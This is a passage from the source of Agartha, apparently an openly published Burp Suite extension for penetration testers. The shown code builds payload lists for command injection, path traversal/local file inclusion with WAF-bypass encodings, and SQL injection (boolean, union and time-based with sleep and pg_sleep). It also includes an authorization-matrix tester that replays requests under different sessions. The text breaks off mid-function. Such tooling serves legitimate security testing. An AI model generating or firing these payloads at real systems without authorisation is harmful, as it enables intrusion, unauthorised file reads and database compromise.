-
Notifications
You must be signed in to change notification settings - Fork 78
/
Copy pathAgartha.py
3044 lines (2754 loc) · 206 KB
/
Agartha.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
Author: Volkan Dindar
volkan.dindar@owasp.org
https://github.com/volkandindar/agartha
"""
try:
import sys, re, urlparse, random, os, urllib, posixpath
from burp import (IBurpExtender, ITab, IMessageEditorController, IContextMenuFactory, IBurpExtenderCallbacks, IExtensionHelpers)
from java.awt import (BorderLayout, FlowLayout, Color, Font, Dimension, Toolkit)
from javax.swing import (JCheckBox, JMenuItem, JTextPane, JTable, JScrollPane, JProgressBar, SwingConstants, JComboBox, JButton, JTextField, JSplitPane, JPanel, JLabel, JRadioButton, ButtonGroup, JTabbedPane, BoxLayout, JEditorPane, JList, DefaultListModel, DefaultListSelectionModel)
from javax.swing.border import EmptyBorder
from javax.swing.table import (DefaultTableModel, TableCellRenderer)
from java.util import ArrayList
from threading import Thread
from java.awt.datatransfer import StringSelection
from time import sleep
except:
print "==== ERROR ====" + "\n\nFailed to load dependencies.\n" +str(sys.exc_info()[1]) +"\n\n==== ERROR ====\n\n"
VERSION = "2.002"
#url_regex = r'(log|sign)([-_+%0-9]{0,5})(off|out|in|on)|(expire|kill|terminat|delete|remove)'
url_regex = r'(log|sign|time)([-_+%0-9]{0,5})(off|out)|(expire|kill|terminat|delete|remove)'
ext_regex = r'^\.(gif|jpg|jpeg|png|css|js|ico|svg|eot|woff|woff2|ttf|otf)$'
class BurpExtender(IBurpExtender, ITab, IMessageEditorController, IContextMenuFactory, IBurpExtenderCallbacks, IExtensionHelpers):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self._callbacks.setExtensionName("Agartha - LFI, RCE, SQLi, Auth, HTTP to JS")
self._MainTabs = JTabbedPane()
self._tabDictUI()
self._tabAuthUI()
self._tabAuthenticationUI()
self._tabHelpUI()
self._MainTabs.addTab("Payload Generator", None, self._tabDictPanel, None)
self._MainTabs.addTab("Auth Matrix", None, self._tabAuthSplitpane, None)
self._MainTabs.addTab("403 Bypass", None, self._tabAuthenticationSplitpane, None)
self._MainTabs.addTab("Help", None, self._tabHelpJPanel, None)
callbacks.addSuiteTab(self)
callbacks.registerContextMenuFactory(self)
callbacks.issueAlert("The extension has been loaded.")
print "Agartha(v" + VERSION + ") is a security tool for:\n\t\t* Local File Inclusion, Path Traversal\n\t\t* Command Injection, RCE\n\t\t* SQL Injection\n\t\t* Session based User Access Matrix\n\t\t* Authentication/Authorization Violations\n\t\t* HTTP 403 Bypass\n\t\t* Copy as Javascript\n\nFor more information and tutorial, please visit:\n\t\thttps://github.com/volkandindar/agartha\n\nAuthor:\n\t\tVolkan Dindar\n\t\tvolkan.dindar@owasp.org"
self.reset(self)
return
def reset(self, ev):
t = Thread(target=self.resetThread, args=[self])
t.start()
return
def resetThread(self, ev):
sleep(1)
self.tableMatrixReset(self)
self.resetAuthentication(self)
return
def authMatrixThread(self, ev):
self._cbAuthColoringFunc(self)
self._requestViewer.setMessage("", False)
self._responseViewer.setMessage("", False)
self._lblAuthNotification.text = " "
self._tbAuthNewUser.setForeground (Color.black)
self._btnAuthNewUserAdd.setEnabled(False)
self._btnAuthRun.setEnabled(False)
self._cbAuthColoring.setEnabled(False)
self._btnAuthReset.setEnabled(False)
self._cbAuthGETPOST.setEnabled(False)
self.progressBar.setValue(0)
self.httpReqRes = [[],[],[],[],[]]
self.httpReqRes.append([])
self.tableMatrix.clearSelection()
for x in range(0, self.tableMatrix.getRowCount()):
for y in range(1, self.tableMatrix.getColumnCount()):
self.tableMatrix.setValueAt("", x, y)
i = 1000000 / ( self.tableMatrix.getRowCount() * (self.tableMatrix.getColumnCount()-1) )
for x in range(0, self.tableMatrix.getRowCount()):
for y in range(1, self.tableMatrix.getColumnCount()):
self.tableMatrix.setValueAt(self.makeHttpCall(self.tableMatrix.getValueAt(x, 0), self.tableMatrix.getColumnName(y)), x, y)
self.progressBar.setValue(self.progressBar.getValue() + i)
self._lblAuthNotification.text = "It is still in progress, '" + str(int(self.progressBar.getValue() / 10000)) + "%' has been completed so far."
self._customRenderer = UserEnabledRenderer(self.tableMatrix.getDefaultRenderer(str), self.userNamesHttpUrls, "")
self._customTableColumnModel = self.tableMatrix.getColumnModel()
for y in range(0, self.tableMatrix.getColumnCount()):
self._customTableColumnModel.getColumn(y).setCellRenderer(self._customRenderer)
self.tableMatrix.repaint()
self.tableMatrix.setSelectionForeground(Color.red)
self._btnAuthNewUserAdd.setEnabled(True)
self._btnAuthRun.setEnabled(True)
self._cbAuthColoring.setEnabled(True)
self._btnAuthReset.setEnabled(True)
self._cbAuthGETPOST.setEnabled(True)
self.progressBar.setValue(1000000)
self._lblAuthNotification.text = "Blue, Green, Purple and Beige colors are representation of users. Yellow, Orange and Red cell colors show warning levels."
return
def headerAdjustment(self, _header, _url, userID):
returnMethod = ''
headerMethod = 'GET'
header = ""
if "GET" not in _header[:3]:
_header = self._helpers.bytesToString(self._callbacks.getHelpers().toggleRequestMethod(_header))
headerMethod = 'POST'
histories = self._callbacks.getProxyHistory()[::-1]
for history in histories:
url = str(self._helpers.analyzeRequest(history).getUrl())
if url.startswith("https"):
url = url.replace(":443/", "/")
elif url.startswith("http"):
url = url.replace(":80/", "/")
if url == _url:
if str(self._helpers.analyzeRequest(history.getRequest()).getMethod()) == 'GET':
header = str((self._helpers.bytesToString(history.getRequest())).split('\n', 1)[0]).split('\n', 1)[0]
returnMethod = 'GET'
else:
header = (self._helpers.bytesToString(self._callbacks.getHelpers().toggleRequestMethod(history.getRequest()))).split('\n', 1)[0]
returnMethod = 'POST'
break
if not returnMethod:
if headerMethod == 'GET':
return _header
else:
return self._callbacks.getHelpers().toggleRequestMethod(_header)
elif returnMethod == 'POST':
_header = _header.replace(_header.split('\n', 1)[0], header)
return self._callbacks.getHelpers().toggleRequestMethod(_header)
elif returnMethod == 'GET':
return _header.replace(_header.split('\n', 1)[0], header)
def makeHttpCall(self, urlAdd, userID):
try:
userID = self.userNames.index(userID)
header = self.userNamesHttpReq[userID]
# changing new url path in the request header
header = header.replace(str(header.splitlines()[0]), header.splitlines()[0].split(" ", 2)[0] + " /" + urlAdd.split('/',3)[3] + " " + header.splitlines()[0].split(" ", 2)[2])
# header methods
if "GET" in header[:3] and self._cbAuthGETPOST.getSelectedIndex() == 1:
# request was GET and will be in POST
header = self._callbacks.getHelpers().toggleRequestMethod((header))
elif "POST" in header[:4] and self._cbAuthGETPOST.getSelectedIndex() == 0:
# request was POST alike and will be in GET
header = self._callbacks.getHelpers().toggleRequestMethod((header))
elif self._cbAuthGETPOST.getSelectedIndex() == 2:
# request is dynamic, proxy history will be reference
header = self.headerAdjustment(header, urlAdd, userID)
portNum = 80
if urlparse.urlparse(urlAdd).port:
portNum = urlparse.urlparse(urlAdd).port
else:
if urlparse.urlparse(urlAdd).scheme == "https":
portNum = 443
_httpReqRes = self._callbacks.makeHttpRequest(self._helpers.buildHttpService(urlparse.urlparse(urlAdd).hostname, portNum, urlparse.urlparse(urlAdd).scheme), header)
self.httpReqRes[userID].append(_httpReqRes)
return "HTTP " + str(self._helpers.analyzeResponse(self._helpers.bytesToString(_httpReqRes.getResponse())).getStatusCode()) + " : " + format(len(self._helpers.bytesToString(_httpReqRes.getResponse())) - self._helpers.analyzeResponse(self._helpers.bytesToString(_httpReqRes.getResponse())).getBodyOffset(), ',d') + " bytes"
except:
return str(sys.exc_info()[1])
def authAdduser(self, ev):
if self.userCount == 4:
self._lblAuthNotification.text = "You can add up to 4 users"
self._lblAuthNotification.setForeground (Color.red)
return
if not self._tbAuthURL.getText().strip():
self._lblAuthNotification.text = "Please provide minimum one URL!"
self._lblAuthNotification.setForeground (Color.red)
return
_validItem = False
for _url in self._tbAuthURL.getText().split('\n'):
_url = _url.strip()
if not self.isURLValid(str(_url)) or _url == self._txtURLDefault:
self._tbAuthURL.setForeground (Color.red)
self._lblAuthNotification.text = "URLs should start with 'http/s' and not have any spaces. Please check: '" + _url + "'"
self._lblAuthNotification.setForeground (Color.red)
return
if _url.count("/") == 2:
_url += "/"
_ext = os.path.splitext(urlparse.urlparse(_url).path)[1]
if _url and not any(re.findall(url_regex, _url, re.IGNORECASE)) and not any(re.findall(ext_regex, _ext, re.IGNORECASE)):
_validItem = True
break
if not _validItem:
self._lblAuthNotification.text = "No item has been added! User URLs may only have possible session terminators (signout, logoff, etc.), dangerous commands (kill, terminate, delete, etc.), or file types (gif, js, etc.)."
self._btnAuthReset.setEnabled(True)
return
self._tbAuthURL.setForeground (Color.black)
if not self._tbAuthHeader.getText().strip() or self._tbAuthHeader.getText().strip() == self._txtHeaderDefault:
self._tbAuthHeader.setForeground (Color.red)
self._lblAuthNotification.text = "Please provide a valid header!"
self._lblAuthNotification.setForeground (Color.red)
return
self._tbAuthHeader.setForeground (Color.black)
if self._tbAuthNewUser.text.strip() in self.userNames or not self._tbAuthNewUser.text.strip() or len(self._tbAuthNewUser.text.strip()) > 20:
self._tbAuthNewUser.setForeground (Color.red)
self._lblAuthNotification.text = "Please add another user name, that must be unique and less then 20 chars!"
self._lblAuthNotification.setForeground (Color.red)
return
self._tbAuthNewUser.setForeground (Color.black)
if self.userCount == 0:
# header for unauth user
unauthHeader = self._tbAuthHeader.getText().split('\n')[0] + "\n" + self._tbAuthHeader.getText().split('\n')[1]
for line in self._tbAuthHeader.getText().split('\n')[2:]:
if not any(re.findall(r'(cookie|token|auth)(.*:)', line, re.IGNORECASE)):
unauthHeader += "\n" + line
if not line:
break
self.userNamesHttpReq[0] = unauthHeader
self.userCount = self.userCount + 1
self.userNames.append(self._tbAuthNewUser.text.strip())
self.userNamesHttpReq.append(self._tbAuthHeader.getText())
self.tableMatrix_DM.addColumn(self._tbAuthNewUser.text.strip())
self.userNamesHttpUrls.append([])
urlList = []
for x in range(0, self.tableMatrix.getRowCount()):
urlList.append(str(self.tableMatrix.getValueAt(x, 0)))
for _url in set(self._tbAuthURL.getText().split('\n')):
_url = _url.strip()
if _url.count("/") == 2:
_url += "/"
_ext = os.path.splitext(urlparse.urlparse(_url).path)[1]
if _url and not any(re.findall(url_regex, _url, re.IGNORECASE)) and not any(re.findall(ext_regex, _ext, re.IGNORECASE)):
# ignore logout, signoff, etc. paths
if _url not in self.userNamesHttpUrls[self.userCount]:
# check first if the url exist in user's url list
self.userNamesHttpUrls[self.userCount].append(_url)
if _url not in urlList:
# check table if url exists
self.tableMatrix_DM.addRow([_url])
self._tbAuthURL.setText(self._tbAuthURL.getText().split('\n')[0]+"\n")
self._btnAuthRun.setEnabled(True)
self._btnAuthReset.setEnabled(True)
self._lblAuthNotification.text = "'" + self._tbAuthNewUser.text.strip() + "' added successfully! Possible session terminators (signout, logoff, etc.), dangerous commands (kill, terminate, delete, etc.), and file types (gif, js, etc.) have been filtered out!"
self._lblAuthNotification.setForeground (Color.black)
self._cbAuthColoring.setEnabled(True)
self._cbAuthGETPOST.setEnabled(True)
self.tableMatrix.repaint()
self.tableMatrix.setSelectionForeground(Color.red)
self._customRenderer = UserEnabledRenderer(self.tableMatrix.getDefaultRenderer(str), self.userNamesHttpUrls, "")
self._customTableColumnModel = self.tableMatrix.getColumnModel()
for y in range(0,self.tableMatrix.getColumnCount()):
self._customTableColumnModel.getColumn (y).setCellRenderer (self._customRenderer)
return
def _cbAuthColoringFunc(self, ev):
global _colorful
if self._cbAuthColoring.isSelected():
_colorful = True
else:
_colorful = False
self.tableMatrix.repaint()
return
def _cbUnionBasedFunc(self, ev):
if self._cbUnionBased.isSelected():
self._cbUnionDepth.setEnabled(True)
else:
self._cbUnionDepth.setEnabled(False)
return
def funcGeneratePayload(self, ev):
self._lblStatusLabel.setForeground (Color.red)
self._tabDictResultDisplay.setText("")
if self._rbDictSQLi.isSelected():
self._txtTargetPath.setText(self._txtDefaultSQLi)
elif not self.isValid():
if self._rbDictLFI.isSelected():
self._lblStatusLabel.setText("File input is not valid. "+ self._txtDefaultLFI)
self._txtTargetPath.setText(random.choice(["/etc/hosts", "C:\\windows\\system32\\drivers\\etc\\hosts"]))
elif self._rbDictCommandInj.isSelected():
self._lblStatusLabel.setText("Command input is not valid. " + self._txtDefaultCommandInj)
self._txtTargetPath.setText(random.choice(["sleep 120", "timeout 120"]))
return
self._lblStatusLabel.setForeground (Color.black)
self._txtTargetPath.text = self._txtTargetPath.text.strip()
self._lblStatusLabel.setText("")
if self._rbDictCommandInj.isSelected():
self.funcCommandInj(self)
if self._rbDictLFI.isSelected():
self.funcLFI(self)
if self._rbDictSQLi.isSelected():
self.funcSQLi(self)
return
def isValid(self):
# input should not be empty, should contain at least one alphanumeric char and less than 250 length
if self._txtTargetPath.text.strip() and re.compile("[0-9a-zA-Z]").findall(self._txtTargetPath.text) and self._txtTargetPath.text.strip() !=self._txtDefaultLFI and self._txtTargetPath.text.strip() !=self._txtDefaultCommandInj and len(self._txtTargetPath.text.strip()) < 250:
return True
else:
return False
def funcRBSelection(self, ev):
self._lblStatusLabel.setForeground (Color.black)
self._lblStatusLabel.setText("")
self._tabDictPanel_LFI.setVisible(False)
self._cbDictCommandInjOpt.setVisible(False)
self._tabDictPanel_SQLType.setVisible(False)
self._tabDictPanel_SQLi.setVisible(False)
self._tabDictPanel_SQLOptions.setVisible(False)
self._tabDictResultDisplay.setText("")
if self._rbDictLFI.isSelected():
self._txtTargetPath.setText(self._txtDefaultLFI)
self._tabDictResultDisplay.setText(self._txtCheatSheetLFI)
self._tabDictPanel_LFI.setVisible(True)
self._lblStatusLabel.setText("Please provide a path to generate payloads!")
elif self._rbDictCommandInj.isSelected():
self._txtTargetPath.setText(self._txtDefaultCommandInj)
self._tabDictResultDisplay.setText(self._txtCheatSheetCommandInj)
self._cbDictCommandInjOpt.setVisible(True)
self._lblStatusLabel.setText("Please provide a command to generate payloads!")
elif self._rbDictSQLi.isSelected():
self._txtTargetPath.setText(self._txtDefaultSQLi)
self._tabDictPanel_SQLType.setVisible(True)
self._tabDictPanel_SQLi.setVisible(True)
self._tabDictPanel_SQLOptions.setVisible(True)
self.funcSQLi(self)
return
def funcCommandInj(self, ev):
listCommandInj = []
prefixes = ["", "\\n", "\\\\n", "\\r\\n", "\\\\r\\\\n", "%0a", "%0d%0a"]
escapeChars = ["", "'", "\\'", "\\\\'", "\"", "\\\"", "\\\\\""]
separators = ["&", "&&", "|", "||", ";"]
for prefix in prefixes:
for escapeChar in escapeChars:
if (prefix[:2].count("\\")) and (escapeChar[:2].count("\\")):
if (prefix[:2].count("\\") != escapeChar[:2].count("\\")):
continue
for separator in separators:
listCommandInj.append(prefix + escapeChar + separator + self._txtTargetPath.text + separator + escapeChar + "\n")
listCommandInj.append(prefix + escapeChar + separator + self._txtTargetPath.text + escapeChar + "\n")
listCommandInj.append(prefix + escapeChar + separator + escapeChar + self._txtTargetPath.text + "\n")
listCommandInj.append(prefix + escapeChar + separator + "`" + self._txtTargetPath.text + "`" + separator + escapeChar + "\n")
listCommandInj.append(prefix + escapeChar + separator + "`" + self._txtTargetPath.text + "`" + escapeChar + "\n")
listCommandInj.append(prefix + separator + "`" + self._txtTargetPath.text + "`" + separator + "\n")
listCommandInj.append(prefix + separator + "`" + self._txtTargetPath.text + "`" + "\n")
listCommandInj.append(prefix + self._txtTargetPath.text + "\n")
listCommandInj.append(prefix + "`" + self._txtTargetPath.text + "`" + "\n")
listCommandInj = list(set(listCommandInj))
listCommandInj.sort(reverse=True)
if self._cbDictCommandInjEncoding.isSelected():
listCommandInj = self.encodeURL(listCommandInj)
self._tabDictResultDisplay.setText(''.join(map(str, listCommandInj)))
self._lblStatusLabel.setText('Payload list for "' + self._txtTargetPath.text + '" command returns with '+ str(len(listCommandInj)) + ' result.')
return
def funcLFI(self, ev):
listLFI = []
dept = int(self._cbDictDepth.getSelectedItem())
if self._txtTargetPath.text.startswith('/') or self._txtTargetPath.text.startswith('\\'):
self._txtTargetPath.text = self._txtTargetPath.text[1:]
filePath = self._txtTargetPath.text.replace("\\","/")
counter = 0
if self._cbDictEquality.isSelected():
counter = dept
while counter <= dept:
_upperDirectory = ""
i = 1
while i <= counter:
_upperDirectory += "../"
i = i + 1
listLFI.append(_upperDirectory + filePath + "\n")
if self._cbDictWafBypass.isSelected():
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append((_upperDirectory + filePath).replace("..", "...") + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("..", "....") + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("..", "..;") + suffix + "\n")
listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "...") + suffix + "\n")
listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "....") + suffix + "\n")
listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "..;") + suffix + "\n")
prefixes = ["/", "\\", "/..;/", "..;/", ".//"]
for prefix in prefixes:
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append(prefix + _upperDirectory + filePath + suffix + "\n")
if not "\\" in prefix and not "/..;/" in prefix :
listLFI.append(_upperDirectory + prefix + filePath + suffix + "\n")
if "\\" in self._txtTargetPath.text:
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append(_upperDirectory.replace("/", "\\") + self._txtTargetPath.text + suffix + "\n")
listLFI.append(_upperDirectory.replace("/", "\\").replace("..", "...") + self._txtTargetPath.text + suffix + "\n")
listLFI.append(_upperDirectory.replace("/", "\\").replace("..", "....") + self._txtTargetPath.text + suffix + "\n")
listLFI.append(_upperDirectory.replace("/", "\\\\") + self._txtTargetPath.text + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", "\\\\") + suffix + "\n")
listLFI.append(_upperDirectory + self._txtTargetPath.text.replace("/", "\\\\") + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", "\\") + suffix + "\n")
_slashes = ["..././", "...\\.\\"]
for _slash in _slashes:
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append(_upperDirectory.replace("../", _slash) + filePath + suffix + "\n")
_slashes = ["\\", "\\\\", "\\\\\\", "//", "///", "\\/"]
for _slash in _slashes:
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append(_upperDirectory.replace("/", _slash) + filePath + suffix + "\n")
listLFI.append(_upperDirectory.replace("/", _slash) + self._txtTargetPath.text + suffix + "\n")
if "\\" in self._txtTargetPath.text:
listLFI.append(_upperDirectory[:-1].replace("/", _slash) + "\\" + self._txtTargetPath.text + suffix + "\n")
else:
listLFI.append(_upperDirectory[:-1].replace("/", _slash) + "/" + filePath + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", _slash) + suffix + "\n")
_slashes = ["%2f", "%5c" , "%252f" , "%255c" , "%c1%9c" , "%c0%af"]
_dots = ["%2e%2e", "%2e%2e", "%252e%252e", "%252e%252e", "%c0%2e%c0%2e", "%c0%2e%c0%2e"]
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for i in range(len(_slashes)):
if _slashes[i].startswith("%c") or _slashes[i].startswith("%25"):
listLFI.append((_upperDirectory).replace("/", _slashes[i]) + filePath + "\n")
listLFI.append((_upperDirectory)[:-1].replace("/", _slashes[i]) + "/" + filePath + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", _slashes[i]) + "\n")
listLFI.append((_upperDirectory).replace("/", _slashes[i]).replace("..", _dots[i]) + filePath + "\n")
listLFI.append((_upperDirectory)[:-1].replace("/", _slashes[i]).replace("..", _dots[i]) + "/" + filePath + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", _slashes[i]).replace("..", _dots[i]) + "\n")
listLFI.append((_upperDirectory).replace("..", _dots[i]) + filePath + "\n")
else:
for suffix in suffixes:
listLFI.append((_upperDirectory).replace("/", _slashes[i]) + filePath + suffix + "\n")
listLFI.append((_upperDirectory)[:-1].replace("/", _slashes[i]) + "/" + filePath + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", _slashes[i]) + suffix + "\n")
listLFI.append((_upperDirectory).replace("/", _slashes[i]).replace("..", _dots[i]) + filePath + suffix + "\n")
listLFI.append((_upperDirectory)[:-1].replace("/", _slashes[i]).replace("..", _dots[i]) + "/" + filePath + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("/", _slashes[i]).replace("..", _dots[i]) + suffix + "\n")
listLFI.append((_upperDirectory).replace("..", _dots[i]) + filePath + suffix + "\n")
counter = counter + 1
listLFI = list(set(listLFI))
listLFI.sort(reverse=True)
self._tabDictResultDisplay.setText(''.join(map(str, listLFI)))
self._lblStatusLabel.setText('Payload list for "' + self._txtTargetPath.text + '" path returns with '+ str(len(listLFI)) + ' result. Please make sure payload encoding is disabled, unless you are sure what you are doing.')
return
def funcSQLi(self, ev):
self._lblStatusLabel.setForeground (Color.black)
if self._cbTimeBased.isSelected() or self._cbStackedSQL.isSelected() or self._cbUnionBased.isSelected():
if not self._cbMysqlBased.isSelected() and not self._cbMssqlBased.isSelected() and not self._cbPostgreBased.isSelected() and not self._cbOracleBased.isSelected():
self._lblStatusLabel.setForeground (Color.red)
self._lblStatusLabel.setText('Please pick a database!')
self._tabDictResultDisplay.setText('')
return
if not (self._cbTimeBased.isSelected() or self._cbStackedSQL.isSelected() or self._cbUnionBased.isSelected() or self._cbBooleanBased.isSelected()):
self._lblStatusLabel.setForeground (Color.red)
self._lblStatusLabel.setText('Please pick an attack type!')
self._tabDictResultDisplay.setText('')
return
listSQLi = []
prefixes = ["", "\\n", "\\\\n", "\\r\\n", "\\\\r\\\\n", "%0a", "%0d%0a"]
escapeChars = ["", "'", "''", "\\'"]
if not self._cbSqlWafBypass.isSelected():
prefixes = [""]
escapeChars = ["", "'"]
n1 = str(random.randint(10, 70))
n2 = str(random.randint(71, 99))
boolExpressions = [n1 + "=" + n1, n1 + "<" + n2]
suffixes = ["", " -- -", ") -- -", ")) -- -", "))) -- -"]
if self._cbBooleanBased.isSelected():
for prefix in prefixes:
for escapeChar in escapeChars:
if (prefix[:2].count("\\")) and (escapeChar[:2].count("\\")):
if (prefix[:2].count("\\") != escapeChar[:2].count("\\")):
continue
for boolExpression in boolExpressions:
for suffix in suffixes[1:]:
listSQLi.append(prefix + escapeChar + " or " + boolExpression + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + " or " + boolExpression + "\n")
for prefix in prefixes:
for escapeChar in escapeChars[1:]:
if (prefix[:2].count("\\")) and (escapeChar[:2].count("\\")):
if (prefix[:2].count("\\") != escapeChar[:2].count("\\")):
continue
listSQLi.append(prefix + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + escapeChar + "\n")
listSQLi.append(prefix + escapeChar + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + "\n")
for suffix in suffixes[1:]:
listSQLi.append(prefix + escapeChar + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + escapeChar + suffix + "\n")
listSQLi.append(prefix + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + escapeChar + suffix + "\n")
if self._cbPostgreBased.isSelected():
listSQLi.append(prefix + "$$ or $$xyz$$=$$xyz\n")
for suffix in suffixes[1:]:
listSQLi.append(prefix + "$$ or $$xyz$$=$$xyz$$" + suffix + "\n")
listSQLi.append(prefix + " or $$xyz$$=$$xyz$$" + suffix + "\n")
unions = ["null", "1337", "'1337'"]
if self._cbSqlWafBypass.isSelected():
unions = ["null", "1337", "'1337'", "''1337''"]
if self._cbUnionBased.isSelected():
for prefix in prefixes:
for escapeChar in escapeChars:
if (prefix[:2].count("\\")) and (escapeChar[:2].count("\\")):
if (prefix[:2].count("\\") != escapeChar[:2].count("\\")):
continue
for suffix in suffixes[1:]:
for union in unions:
unionPhrase = " union all select "
for i in range(int(self._cbUnionDepth.getSelectedItem())):
unionPhrase += union
if self._cbMysqlBased.isSelected():
listSQLi.append(prefix + escapeChar + unionPhrase + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + unionPhrase + "\n")
if self._cbTimeBased.isSelected():
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select sleep(60)") + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select sleep(60)") + "\n")
if self._cbPostgreBased.isSelected():
listSQLi.append(prefix + escapeChar + unionPhrase + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + unionPhrase + "\n")
if self._cbTimeBased.isSelected():
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select (select 1337 from pg_sleep(60))") + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select cast(pg_sleep(60) as text)") + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select cast(pg_sleep(60) as integer)") + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + unionPhrase.replace("select null", "select (select 1337 from pg_sleep(60))") + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select cast(pg_sleep(60) as text)") + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select cast(pg_sleep(60) as integer)") + "\n")
if self._cbMssqlBased.isSelected():
listSQLi.append(prefix + escapeChar + unionPhrase + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + unionPhrase + "\n")
if self._cbTimeBased.isSelected():
